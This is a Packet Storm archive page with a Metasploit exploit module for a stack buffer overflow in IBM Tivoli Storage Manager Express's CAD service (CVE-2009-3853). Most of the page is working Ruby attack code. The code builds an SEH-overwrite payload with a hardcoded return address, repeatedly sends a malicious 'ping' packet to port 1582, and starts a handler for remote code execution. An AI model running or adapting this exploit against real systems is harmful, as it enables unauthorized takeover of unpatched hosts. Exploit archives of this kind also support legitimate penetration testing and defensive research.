what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IBM Tivoli Storage Manager Express CAD Service Buffer Overflow

IBM Tivoli Storage Manager Express CAD Service Buffer Overflow
Posted Dec 31, 2009
Authored by jduck | Site metasploit.com

This Metasploit module exploits a stack overflow in the IBM Tivoli Storage Manager Express CAD Service. By sending a "ping" packet containing a long string, an attacker can execute arbitrary code. NOTE: the dsmcad.exe service must be in a particular state (CadWaitingStatus = 1) in order for the vulnerable code to be reached. This state doesn't appear to be reachable when the TSM server is not running. This service does not restart.

tags | exploit, overflow, arbitrary
advisories | CVE-2009-3853
SHA-256 | 8a10ef51f9a242610ead82abda18b323770c190feb98597aba24f56a8407f14a

IBM Tivoli Storage Manager Express CAD Service Buffer Overflow

Change Mirror Download
##
# $Id: ibm_tsm_cad_ping.rb 7924 2009-12-20 11:09:39Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Tivoli Storage Manager Express CAD Service Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the IBM Tivoli Storage Manager Express CAD Service.
By sending a "ping" packet containing a long string, an attacker can execute arbitrary code.

NOTE: the dsmcad.exe service must be in a particular state (CadWaitingStatus = 1) in order
for the vulnerable code to be reached. This state doesn't appear to be reachable when the
TSM server is not running. This service does not restart.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 7924 $',
'References' =>
[
[ 'CVE', '2009-3853' ],
[ 'OSVDB', '59632' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 380, # offset to seh is 384
'BadChars' => '', # none!
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# this target should be pretty universal..
# dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date..
[ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 04 2009'))

register_options( [ Opt::RPORT(1582) ], self.class )

end

def exploit

print_status("Trying target %s..." % target.name)

# wchar_t buf[64];

#print_status("Generating sploit data...")
distance = payload_space + 8
backjmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
copy_len = distance + backjmp.length + (1024*3)

sploit = [0,copy_len].pack('n*')
sploit << payload.encoded
sploit << generate_seh_record(target.ret)
sploit << backjmp
# force hitting end of the stack
sploit << rand_text(1024) * 3

data = [sploit.length,0x26,0xa5].pack('nCC')
data << sploit

got_it = false
while not got_it
connect
print_status("Sending nasty ping request...")
sock.put(data)

begin
buf = sock.get_once(-1, 5)
rescue
print_status("Hrm, the service is probably in the wrong state, stand by...")
disconnect
select(nil, nil, nil, 5)
next
end
got_it = true
end

print_status("Starting handler...")
handler
disconnect
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close